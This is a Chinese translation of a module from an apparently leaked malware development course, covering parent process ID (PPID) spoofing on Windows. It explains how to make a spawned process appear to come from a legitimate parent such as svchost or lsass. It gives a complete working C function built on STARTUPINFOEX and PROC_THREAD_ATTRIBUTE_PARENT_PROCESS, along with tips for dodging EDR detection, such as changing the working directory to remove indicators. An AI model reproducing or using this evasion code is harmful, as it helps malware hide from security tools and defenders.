模块 47 - 伪装 PPID
恶意软件开发课程 - 伪装 PPID
模块 47 - 伪装 PPID#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
伪装 PPID#
简介#
父进程 ID (PPID) 伪装 (Parent Process ID Spoofing) ↗ 是一种用于修改进程 PPID 的技术,可以有效地隐藏子进程与其真实父进程之间的关系。通过将子进程的 PPID 更改为不同的值,可以使进程看起来像是由于另一个合法的 Windows 进程派生的,而不是真正的父进程。
安全解决方案和防御者通常会寻找异常的父子进程关系。例如,如果 Microsoft Word 派生了 cmd.exe,这通常是执行恶意宏的指标。如果 cmd.exe 以不同的 PPID 派生,它将隐藏真实的父进程,而是看起来像是由于另一个进程派生的。
在 Early Bird APC 队列代码注入 模块中,RuntimeBroker.exe 是由 EarlyBird.exe 派生的,安全解决方案可以利用这一点来检测恶意活动。

💡 初学者提示:谁是你爸爸?
在 Windows 中,每个进程都有一个“父亲”(父进程)。通常,如果你双击运行一个程序,它的父进程就是
explorer.exe(资源管理器)。查杀软件(AV/EDR)非常看重这种血缘关系。如果一个不该生孩子的进程(比如 Word 或记事本)突然生出了一个黑窗口(
cmd.exe)或一个网络工具(powershell.exe),这就像是在监控摄像机下“当众作案”。PPID 伪装就是给新进程找一个“干爹”(比如
lsass.exe或svchost.exe),让它看起来根正苗红,从而躲过监控。
属性列表 (Attributes List)#
属性列表是一种存储与进程或线程关联的属性列表的数据结构。这些属性可以包括进程或线程的优先级、调度算法、状态、CPU 亲和力和内存地址空间等信息。属性列表可用于有效地存储和检索有关进程和线程的信息,以及在运行时修改进程或线程的属性。
PPID 伪装需要使用和操作进程的属性列表来修改其 PPID。接下来的章节将通过代码展示属性列表的使用。
创建进程#
伪装 PPID 的过程需要使用 CreateProcess 创建进程,并设置 EXTENDED_STARTUPINFO_PRESENT 标志,该标志用于进一步控制创建的进程。此标志允许修改有关进程的一些信息,例如 PPID 信息。微软关于 EXTENDED_STARTUPINFO_PRESENT 的文档指出:
进程是使用扩展启动信息创建的;lpStartupInfo 参数指定一个 STARTUPINFOEX 结构。
这意味着还需要使用 STARTUPINFOEXA 数据结构。
STARTUPINFOEXA 结构#
STARTUPINFOEXA 数据结构如下所示:
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // 属性列表
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;cStartupInfo是在之前的模块中用于创建新进程的相同结构。唯一的区别是需要将cb成员设置为sizeof(STARTUPINFOEX)。lpAttributeList是使用InitializeProcThreadAttributeListWinAPI 创建的。
初始化属性列表#
InitializeProcThreadAttributeList 函数如下所示。
BOOL InitializeProcThreadAttributeList(
[out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[in] DWORD dwAttributeCount,
[in] DWORD dwFlags, // NULL (保留)
[in, out] PSIZE_T lpSize
);c要传递一个修改所创建子进程父进程的属性列表,首先使用 InitializeProcThreadAttributeList 创建属性列表。根据微软的文档,必须调用该函数两次:
- 第一次调用:
lpAttributeList参数设置为NULL。这次调用用于确定属性列表的大小,该大小将从lpSize参数中接收。 - 第二次调用:为
lpAttributeList参数指定一个有效的指针(分配好内存后)。这次调用才是真正初始化属性列表的操作。
在本例中,dwAttributeCount 将设置为 1,因为我们只需要修改一个属性。
更新属性列表#
成功初始化属性列表后,使用 UpdateProcThreadAttribute ↗ WinAPI 将属性添加到列表中。
BOOL UpdateProcThreadAttribute(
[in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // 来自 InitializeProcThreadAttributeList 的返回值
[in] DWORD dwFlags, // NULL (保留)
[in] DWORD_PTR Attribute,
[in] PVOID lpValue, // 指向属性值的指针
[in] SIZE_T cbSize, // lpValue 的大小
[out, optional] PVOID lpPreviousValue, // NULL (保留)
[in, optional] PSIZE_T lpReturnSize // NULL (保留)
);cAttribute- 这个标志对 PPID 伪装至关重要。它需要设置为PROC_THREAD_ATTRIBUTE_PARENT_PROCESS标志,以更新父进程信息。lpValue- 父进程的句柄(我们要指定的那个“干爹”进程的句柄)。cbSize- 设置为sizeof(HANDLE)。
实现逻辑总结#
- 调用
CreateProcessA并设置EXTENDED_STARTUPINFO_PRESENT标志。 - 创建包含
LPPROC_THREAD_ATTRIBUTE_LIST的STARTUPINFOEXA结构。 - 调用
InitializeProcThreadAttributeList两次。第一次确定大小,第二次进行初始化。 - 使用
UpdateProcThreadAttribute并设置PROC_THREAD_ATTRIBUTE_PARENT_PROCESS标志来指定新的父进程。
PPID 伪装函数实现#
CreatePPidSpoofedProcess 函数创建一个具有伪装 PPID 的进程。它接受父进程句柄、要创建的进程名,并返回新进程的 PID 和句柄。
BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
SIZE_T sThreadAttList = NULL;
PPROC_THREAD_ATTRIBUTE_LIST pThreadAttList = NULL;
STARTUPINFOEXA SiEx = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// 清空结构体
RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// 设置 STARTUPINFOEXA 的大小 (重要!)
SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// 获取 Windows 目录路径
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 构建完整的进程路径
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
//-------------------------------------------------------------------------------
// 第一次调用:确定属性列表所需的内存大小
// 预期会失败,错误码为 ERROR_INSUFFICIENT_BUFFER
InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);
// 在进程堆上分配足够的内存
pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
if (pThreadAttList == NULL){
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 第二次调用:正式初始化属性列表
if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 更新属性列表,指定新的父进程 (干爹)
if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 将我们准备好的属性列表赋给启动信息结构体
SiEx.lpAttributeList = pThreadAttList;
//-------------------------------------------------------------------------------
// 创建进程
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT, // 启用扩展启动信息,这才会去读取 lpAttributeList
NULL,
NULL,
&SiEx.StartupInfo, // 传入 SiEx 中的 StartupInfo 成员
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
// 填充输出参数
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// 清理工作
DeleteProcThreadAttributeList(pThreadAttList);
CloseHandle(hParentProcess); // 操作完成后可以关闭父进程句柄
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}c演示#
创建子进程 RuntimeBroker.exe,指定父进程为 PID 为 21956 的 svchost.exe。注意,这个 svchost.exe 是以普通权限运行的。

PPID 伪装成功。在 Process Hacker 中,RuntimeBroker.exe 看起来就像是由 svchost.exe 派生出来的。

演示 2 - 更新当前目录 (Current Directory)#
在之前的演示中,你会注意到“Current Directory”(当前工作目录)的值指向了 PPidSpoofing.exe(我们的注入程序)的目录。

这可能是一个明显的 IoC(入侵指标),安全软件或防御者可能会快速标记这种异常。为了修复这个问题,只需将 CreateProcess WinAPI 中的 lpCurrentDirectory 参数设置为一个看起来不那么可疑的目录,例如 "C:\Windows\System32"。

🎯 总结#
在本模块中,我们学习了:
- PPID 伪装:如何改变进程的“血缘关系”以规避父子关系检测。
- 属性列表:深入了解了如何通过
STARTUPINFOEX和属性列表控制进程行为。 - 隐蔽性优化:通过修改
lpCurrentDirectory参数,进一步消除异常特征,实现更完美的伪装。
💡 关键要点
- 合法的父进程:通常选择
explorer.exe,svchost.exe,lsass.exe等常备进程作为模拟对象。- 特权要求:伪装并不需要该进程真的是你创建的,只要你有目标父进程的句柄(通常需要
PROCESS_CREATE_PROCESS访问权限)。
📚 下一步学习
下一个模块将介绍 Process Argument Spoofing (1)。我们将学习如何启动一个带有虚假参数的进程,并在启动后偷偷修改它们,让监控系统看到的参数和实际运行的参数完全不同!